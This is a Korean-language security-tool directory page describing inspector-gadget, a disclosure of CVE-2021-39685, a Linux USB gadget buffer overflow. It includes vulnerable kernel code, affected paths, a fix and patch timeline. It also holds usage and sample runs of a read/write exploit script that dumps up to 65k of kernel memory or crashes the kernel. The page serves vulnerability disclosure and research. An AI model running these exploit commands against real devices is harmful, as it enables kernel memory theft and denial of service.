Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
inspector-gadget — CVE-2021-39685 설명 및 Linux USB Gadget 오버플로 취약점에 대한 샘플 익스플로잇 | Kitploit
도구/GitHubGitHub/szymonh/inspector-gadget
Embedded Systems SecurityVulnerability AnalysisExploitationFuzzingHardware SecurityBinary Exploitation
GitHubszymonh/inspector-gadget

inspector-gadget

CVE-2021-39685 설명 및 Linux USB Gadget 오버플로 취약점에 대한 샘플 익스플로잇

저장소 보기
14144년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

inspector-gadget

root@kitploit:~
    Go Go Gadget Exploit!
     _..--"\  `|`""--.._
  .-'       \  |        `'-.
 /           \_|___...----'`\
|__,,..--""``(_)--..__      |
'\     _.--'`.I._     ''--..'
  `''"`,#JGS/_|_\###,---'`
    ,#'  _.:`___`:-._ '#,
   #'  ,~'-;(oIo);-'~, '#
   #   `~-(  |    )=~`  #
   #       | |_  |      #
   #       ; ._. ;      #
   #  _..-;|\ - /|;-._  #
   #-'   /_ \\_// _\  '-#
 /`#    ; /__\-'__\;    #`\
;  #\.--|  |O  O   |'-./#  ;
|__#/   \ _;O__O___/   \#__|
 | #\    [I_[_]__I]    /# |
 \_(#   /  |O  O   \   #)_/
       /   |        \
      /    |         \
     /    /\          \
    /     | `\         ;
   ;      \   '.       |
    \-._.__\     \_..-'/
     '.\  \-.._.-/  /'`
        \_.\    /._/
         \_.;  ;._/
       .-'-./  \.-'-.
      (___.'    '.___)

요약

공격자는 rndis, hid, uac1, uac1_legacy 및 uac2와 같은 usb gadget에서 제어 요청 핸들러의 구현을 악용하여 유효한 버퍼 경계를 우회하고 커널 메모리에 접근할 수 있습니다. 예상보다 큰 wLength를 가진 악의적인 제어 전송 요청을 처리할 때 이 값이 버퍼 크기를 초과하지 않도록 보장하지 않습니다. 이로 인해 최대 65k의 커널 메모리를 읽거나 쓸 수 있습니다(특정 경우에 따라 다름).

설명

rndis, hid, uac1, uac1_legacy 및 uac2와 같은 gadget의 usb 제어 전송 핸들러의 일부 실행 경로는 요청 길이(wLength)를 적절히 처리하지 않습니다. 이 값은 버퍼 오버플로우 취약점을 방지하기 위해 버퍼 크기로 제한되어야 합니다.

엔드포인트 0에서 사용하는 버퍼는 composite.c에서 USB_COMP_EP0_BUFSIZ (4096) 바이트 크기로 할당되므로 wLength를 USB_COMP_EP0_BUFSIZ보다 큰 값으로 설정하면 버퍼 오버플로우가 발생합니다.

예를 들어 f_uac1.c의 경우 f_audio_setup 함수를 실행하면 버퍼 경계를 넘어 읽기와 쓰기가 모두 가능합니다. f_audio_setup이나 호출된 함수(audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in) 중 어느 것도 반환 값을 버퍼 크기보다 작게 제한하지 않습니다. 결과적으로 데이터 전송 단계에서는 req->length = value = ctrl->wLength를 사용하며, 이는 공격자가 제어합니다. 이를 통해 제어 전송 방향에 따라 최대 65k 바이트의 커널 메모리를 읽거나 쓸 수 있습니다.

root@kitploit:~
    static int
    f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);

            /* composite driver infrastructure handles everything; interface
             * activation uses set_alt().
             */
            switch (ctrl->bRequestType) {
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_set_endpoint_req(f, ctrl);
                    break;

            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_get_endpoint_req(f, ctrl);
                    break;
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    if (ctrl->bRequest == UAC_SET_CUR)
                            value = out_rq_cur(f, ctrl);
                    break;
            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    value = ac_rq_in(f, ctrl);
                    break;
            default:
                    ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
            }

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = 0;
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);

                    if (value < 0)
                            ERROR(cdev, "audio response on err %d\n", value);
            }

            /* device either stalls (value < 0) or reports success */
            return value;
    }

샘플 읽기 익스플로잇을 실행하면 최대 65k의 메모리를 덤프할 수 있습니다.

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
    65535
root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings

    nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
    tem.slice/system-getty.slice/[email protected]
    !rE*
    ?& .4!
    0usb_composite_setup_continue
    composite_setup
    usb_gadget_get_string
    usb_otg_descriptor_init
    usb_otg_descriptor_alloc
    usb_free_all_descriptors
    usb_assign_descriptors
    usb_copy_descriptors

    usb_gadget_config_buf

반면, 덮어쓰기 익스플로잇을 실행하면 예상 버퍼 경계를 넘어 임의의 데이터를 쓸 수 있습니다.

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write

    Message from syslogd@zero at Dec  6 19:56:01 ...
     kernel:[  103.850206] Internal error: Oops: 5 [#1] ARM

마찬가지로 rndis gadget의 경우 rndis_setup 함수는 방향이 out, 타입이 class, 수신자가 interface이고 bRequest가 USB_CDC_SEND_ENCAPSULATED_COMMAND로 설정된 제어 전송 요청을 사용하여 버퍼 경계를 넘어 쓰도록 악용될 수 있습니다.

root@kitploit:~
    static int
    rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct f_rndis          *rndis = func_to_rndis(f);
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);
            /* composite driver infrastructure handles everything except
             * CDC class messages; interface activation uses set_alt().
             */
            switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
            /* RNDIS uses the CDC command encapsulation mechanism to implement
             * an RPC scheme, with much getting/setting of attributes by OID.
             */
            case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
                            | USB_CDC_SEND_ENCAPSULATED_COMMAND:
                    if (w_value || w_index != rndis->ctrl_id)
                            goto invalid;
                    /* read the request; process it later */
                    value = w_length;
                    req->complete = rndis_command_complete;
                    req->context = rndis;
                    /* later, rndis_response_available() sends a notification */
                    break;

     ...

     ...

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = (value < w_length);
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
                    if (value < 0)
                            ERROR(cdev, "rndis response on err %d\n", value);
            }
            /* device either stalls (value < 0) or reports success */
            return value;

    }

취약한 실행 경로:

  • f_rndis.c
    • rndis_setup
  • f_uac1.c
    • out_rq_cur
    • ac_rq_in
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac1_legacy.c
    • audio_set_intf_req
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac2.c
    • out_rq_cur
  • f_hid.c
    • hid_gsetup (HID_REQ_SET_REPORT 케이스)

영향

영향을 받는 usb 장치 gadget 클래스(rndis, hid, uac1, uac1_legacy, uac2)를 구현하는 장치는 버퍼 오버플로우 취약점의 영향을 받을 수 있으며, 이로 인해 정보 노출, 서비스 거부 또는 커널 컨텍스트에서 임의 코드 실행이 발생할 수 있습니다.

예상 해결 방법

영향을 받는 제어 요청 핸들러에서 전송 단계 크기를 min(len, buffer_size)으로 제한하여 버퍼 오버플로우가 발생하지 않도록 합니다.

주요 날짜

  • 2021.12.07 - 커널 보안 팀에 문제 보고
  • 2021.12.09 - 커널 보안 팀이 초안 패치 제공
  • 2021.12.12 - 수정 사항이 메인 Linux 커널 트리에 병합됨 (공개)

CVE

CVE-2021-39685

익스플로잇

표준 4096 바이트보다 큰 wLength로 제어 전송 요청을 보내려면 호스트가 MAX_CTRL_BUFFER_LENGTH를 0xffff로 증가시킨 libusb의 맞춤 빌드를 사용해야 합니다. 이 값은 빌드 전에 libusb/os/linux_usbfs.h에서 변경할 수 있습니다.

gadget.py 스크립트는 pyusb가 필요합니다. 아래와 같이 pip를 사용하여 이 패키지를 설치할 수 있습니다.

python3 -m pip install pyusb

도움말은 -h 또는 --help 매개변수로 확인할 수 있습니다.

root@kitploit:~
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
                 [-f {rndis,uac1,uac1_legacy,uac2,hid}]

Sample exploit for RNDIS gadget class

optional arguments:
  -h, --help            show this help message and exit
  -v VID, --vid VID     vendor id
  -p PID, --pid PID     product id
  -l LENGTH, --length LENGTH
                        lenght of data to write
  -d {read,write}, --direction {read,write}
                        direction of operation from host perspective
  -f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}

예제 호출:

root@kitploit:~
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis

패치

  • USB: gadget: detect too-big endpoint 0 requests
  • USB: gadget: bRequestType is a bitfield, not a enum

최종 참고 사항

커널을 최신 안정 버전으로 업데이트하시기 바랍니다.

도구 다운로드